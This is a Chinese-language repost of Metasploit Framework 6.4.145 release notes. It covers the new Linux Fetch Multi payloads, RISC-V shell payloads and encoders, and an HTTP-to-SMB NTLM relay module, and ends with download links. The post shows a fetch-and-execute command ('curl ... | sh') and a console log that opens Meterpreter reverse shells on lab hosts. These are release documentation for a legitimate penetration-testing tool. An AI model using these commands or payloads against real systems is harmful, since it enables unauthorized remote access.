Metasploit Framework 6.4.145 (macOS, Linux, Windows) - 开源渗透测试框架

Rapid7 Penetration testing, updated July 2026

Posted by sysin on 2026-07-18
Estimated Reading Time 11 Minutes
Words 2.4k In Total
更新日期:2026-07-18 09:01:00,阅读量:

请访问原文链接:Metasploit Framework 6.4.145 (macOS, Linux, Windows) - 开源渗透测试框架 查看最新版。原创作品,转载请保留出处。

作者主页:sysin.org


sysin

世界上最广泛使用的渗透测试框架

知识就是力量,尤其是当它被分享时。作为开源社区和 Rapid7 之间的合作,Metasploit 帮助安全团队做的不仅仅是验证漏洞、管理安全评估和提高安全意识 (sysin);更重要的是,它赋能防御者,使其能够始终在攻防博弈中领先一步(甚至两步)。

Metasploit Pro Dashboard

图为 Metasploit Pro Dashboard。

欢迎来到 Metasploit 的世界。你是否是一名 Metasploit 用户,想要开始使用它,或者提升你的漏洞利用与渗透能力(前提是对你有授权的目标进行测试)?最快的入门方式是下载 Metasploit 每夜构建安装包(nightly installers)。通过它,你可以同时获得免费的开源 Metasploit Framework,以及 Metasploit Pro 的免费试用版。

如果你使用的是 Kali Linux,那么 Metasploit 已经默认预装。关于如何在 Kali Linux 中开始使用 Metasploit,请参阅 Kali 的相关文档。

新增功能

Metasploit 每周更新:新增 HTTP 到 SMB 中继及 Payload 功能增强

2026 年 7 月 17 日

🧹 Metasploit 每周更新调整

Metasploit Framework 将继续保持每周发布更新的节奏,为广大读者带来最新内容。不过,「Weekly Wrap Up(每周更新汇总)」将调整为每两周发布一次

团队计划利用两次更新之间的额外时间,录制部分重点功能的演示视频。敬请期待全新形式的 Metasploit Wrap Up。

🚀 Fetch Multi: 真正做到一次配置,自动适配?

我们的开发者 bwatters-r7 持续完善 Fetch Payload 功能。这次新增了 Linux Fetch Multi Payload 系列,可在运行时自动识别 Linux 目标架构。

传统的 Fetch Payload 会生成一条命令,在目标主机上下载并执行指定架构的二进制 Payload。而新的 Linux Fetch Multi 在目标请求 Payload 时,会主动上报目标主机架构,随后 Handler 会自动返回对应 ELF 架构的 Payload。

这意味着,当用户攻击 Linux 主机时,无需再猜测目标使用的是哪种 CPU 架构。同时,一个 Payload 与一个 Handler 即可同时服务于多种不同架构的 Linux 主机 (sysin)。

由于该功能依赖于请求 URL 中新增的查询字符串,因此目前仅 HTTP 与 HTTPS Fetch Payload 支持 Fetch Multi

下面的示例中,在 mipsel、mips64 和 aarch64 三台主机上,仅需执行同一条命令:

1
curl -s http://10.5.135.210:8080/x|sh

即可自动识别目标架构并下发对应 ELF Payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > show options
Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP,
WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous
handles, requires Linux ≥3.17 (for Python variant also Python ≥3
.8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+
, shell-search, shell)
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH x no Local URI to use for serving payload
LHOST 10.5.135.210 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
When FETCH_COMMAND is one of CURL,GET,WGET:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_PIPE true yes Host both the binary payload and the command so it can be piped directly to the shell.
When FETCH_FILELESS is none:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_FILENAME cldOGvRDplZ no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
View the full module info with the info, or info -d command.
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > to_handler
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 10.5.135.210:8080
[*] HTTP server started
[*] Adding resource /csmCra8lnQTHxFXkipQC0w
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.210:4444
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > [*] Client 10.5.132.212 requested /x
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Client 10.5.132.212 requested /csmCra8lnQTHxFXkipQC0w?arch=armv7l
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for armle arch
[*] Meterpreter session 1 opened (10.5.135.210:4444 -> 10.5.132.212:45068) at 2026-07-14 11:33:18 -0500
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /csmCra8lnQTHxFXkipQC0w?arch=aarch64
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for aarch64 arch
[*] Meterpreter session 2 opened (10.5.135.210:4444 -> 10.5.132.214:39894) at 2026-07-14 11:33:26 -0500
[*] Client 10.5.132.224 requested /x
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Client 10.5.132.224 requested /csmCra8lnQTHxFXkipQC0w?arch=mips64
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for mips64 arch
[*] Meterpreter session 3 opened (10.5.135.210:4444 -> 10.5.132.224:53506) at 2026-07-14 11:33:41 -0500
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.5.132.212)
Computer : kali-raspberrypi
OS : Debian (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple : armv5l-linux-musleabi
Meterpreter : cmd/linux
[*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214)
Computer : kali-raspberrypi
OS : Debian (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple : aarch64-linux-musl
Meterpreter : cmd/linux
[*] Running 'sysinfo' on meterpreter session 3 (10.5.132.224)
Computer : ubnt
OS : Debian 9.13 (Linux 4.9.79-UBNT)
Architecture : mips64
BuildTuple : mips64-linux-muslsf
Meterpreter : cmd/linux
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >

🏗️ RISC 架构即将改变一切

说到支持更多处理器架构,bcoles 又为 Metasploit 新增了另一种 IoT 架构支持**:RISC-V**。

此次更新新增了适用于 32 位和 64 位 RISC-V 系统的分阶段(Staged)和无阶段(Stageless)Shell Payload,同时配合其另一项 Pull Request,为 RISC-V Payload 增加了 XOR 编码器支持。

🆕 新增模块(4)

📦 Microsoft Windows HTTP 到 SMB Relay

作者:jheysel-r7

类型:Auxiliary(辅助模块)

Pull Request#21620,由 jheysel-r7 提交

路径server/relay/http_to_smb

说明

新增 HTTP 到 SMB Relay 服务端模块,可将接收到的 NTLM HTTP 身份认证请求中继到多个 SMB 服务器,从而在目标主机建立 SMB 会话,并供 Metasploit Framework 后续使用。

📦 Byte XORi Encoder

作者:bcoles

类型:Encoder(编码器)

Pull Request#21235

路径riscv32le/byte_xori

说明

新增适用于 RISC-V 32 位和 64 位小端架构的四种 Byte XORi 编码器变体。

📦 FTP、HTTP、HTTPS 与 METERPRETER_REVERSE_TCP Fetch(Linux Chmod)

作者:Brendan Watters、Spencer McIntyre、bcoles

类型:Payload(Adapter)

Pull Request#21384

说明

新增 Linux Fetch Multi Payload、基于 FTP 的 Fetch 服务,以及集成到 rex/proto 的 TFTP 服务,以统一现有服务器实现。

此次 Adapter 一共新增 421 个 Payload,覆盖 Linux 与 Windows 各类架构,例如:

  • cmd/linux/ftp/aarch64/chmod
  • cmd/linux/ftp/x86/meterpreter/reverse_tcp
  • cmd/windows/ftp/aarch64/meterpreter_reverse_http

📦 FTP Fetch、Linux dup2 Command Shell、Bind TCP Stager

作者:Brendan Watters、Spencer McIntyre、bcoles

类型:Payload(Stager)

Pull Request#21237

说明

RISC-V 32 位和 64 位小端 Linux 新增 reverse_tcp、bind_tcp Stager 以及 Shell Command Stage。

新增 Payload 包括:

  • cmd/linux/ftp/riscv32le/shell/bind_tcp
  • cmd/linux/http/riscv32le/shell/bind_tcp
  • cmd/linux/https/riscv32le/shell/bind_tcp
  • cmd/linux/tftp/riscv32le/shell/bind_tcp
  • linux/riscv32le/shell/bind_tcp
  • cmd/linux/ftp/riscv32le/shell/reverse_tcp
  • cmd/linux/http/riscv32le/shell/reverse_tcp
  • cmd/linux/https/riscv32le/shell/reverse_tcp
  • cmd/linux/tftp/riscv32le/shell/reverse_tcp
  • linux/riscv32le/shell/reverse_tcp
  • cmd/linux/ftp/riscv64le/shell/bind_tcp
  • cmd/linux/http/riscv64le/shell/bind_tcp
  • cmd/linux/https/riscv64le/shell/bind_tcp
  • cmd/linux/tftp/riscv64le/shell/bind_tcp
  • linux/riscv64le/shell/bind_tcp
  • cmd/linux/ftp/riscv64le/shell/reverse_tcp
  • cmd/linux/http/riscv64le/shell/reverse_tcp
  • cmd/linux/https/riscv64le/shell/reverse_tcp
  • cmd/linux/tftp/riscv64le/shell/reverse_tcp
  • linux/riscv64le/shell/reverse_tcp

✨ 功能增强(4)

  • #21235(bcoles):为 RISC-V 32 位和 64 位小端架构新增四种编码器变体。
  • #21384(bwatters-r7):新增 Linux Fetch Multi Payload、FTP Fetch 服务以及集成到 rex/proto 的 TFTP 服务。
  • #21599(Pushpenderrathore):扩展 CertificateTrace 功能,当 HTTP 模块通过 HTTPS 建立连接时,可同时显示服务器 TLS 对端证书,继续沿用现有的 CertificateTrace(off/metadata/full)配置方式 (sysin)。
  • #21602(zeroSteiner):更新 Windows Service PE 模板,改为使用注入段(Injected Segment)替代旧的替换方式。

🐞 Bug 修复(4)

  • #21621(eipoverflow):修复新版 macOS 上无文件(Fileless)分阶段 Meterpreter 无法运行的问题。
  • #21670(zeroSteiner):将动态 XOR 编码器标记为无法保持寄存器(Preserve Registers),并新增相关回归测试,确保需要保持寄存器时 Stage 编码能够正确处理。
  • #21675(sjanusz-r7):修复 search_cache 在生成缓存时未正确跳过多架构 Payload 的问题。
  • #21677(bwatters-r7):修复 HTTP Relay Server Mixin 中的一个缺陷:此前匹配模块 URIPATH 的请求会被静默丢弃而不会进行中继。此次修复移除了已不再需要的 URIPATH 选项,确保所有请求均可正确中继,并新增相应测试用例验证修复效果。

Metasploit Framework 6.4 Released Mar 25, 2024.

版本比较

Open Source: Metasploit Framework

下载:Metasploit Framework 6.4.145 (macOS, Linux, Windows) - 开源渗透测试框架

Commercial Support: Metasploit Pro

下载:Metasploit Pro 4.22.9-2026030301 (Linux, Windows) - 专业渗透测试框架

All FeaturesProFramework
- Collect
De-facto standard for penetration testing with more than 1,500 exploits
Import of network data scan
Network discovery
Basic exploitation
MetaModules for discrete tasks such as network segmentation testing
Integrations via Remote API
- Automate
Simple web interface
Smart Exploitation
Automated credentials brute forcing
Baseline penetration testing reports
Wizards for standard baseline audits
Task chains for automated custom workflows
Closed-Loop vulnerability validation to prioritize remediation
- Infiltrate
Basic command-line interface
Manual exploitation
Manual credentials brute forcing
Dynamic payloads to evade leading anti-virus solutions
Phishing awareness management and spear phishing
Choice of advance command-line (Pro Console) and web interface

下载地址

Metasploit Framework 6.4.x (macOS, Linux, Windows)

macOS:metasploit-framework-VERSION.x86_64.dmg

Windows:metasploit-framework-VERSION-x64.msi

Debian/Ubuntu
Linux deb x64:metasploit-framework_VERSION_amd64.deb
Linux deb x86:metasploit-framework_VERSION_i386.deb
Linux deb arm64:metasploit-framework_VERSION_arm64.deb
Linux deb armhf (hard float):metasploit-framework_VERSION_armhf.deb

RHEL/Fedora
Linux rpm x64:metasploit-framework-VERSION.el6.x86_64.rpm

相关产品:Metasploit Pro 5.0.0-2026070101 (Linux, Windows) - 专业渗透测试框架

更多:HTTP 协议与安全


捐助本站 ❤️ Donate

点击访问官方网站


文章用于推荐和分享优秀的软件产品及其相关技术,所有软件默认提供官方原版(免费版或试用版),免费分享。对于部分产品笔者加入了自己的理解和分析,方便学习和研究使用。任何内容若侵犯了您的版权,请联系作者删除。如果您喜欢这篇文章或者觉得它对您有所帮助,或者发现有不当之处,欢迎您发表评论,也欢迎您分享这个网站,或者赞赏一下作者,谢谢!

支付宝赞赏 微信赞赏

赞赏一下


☑️ 尊敬的读者,欢迎留言❗️
敬请注册!点击 “登录” - “用户注册”(已知不支持 21.cn/189.cn 邮箱)。 请勿使用联合登录(已关闭)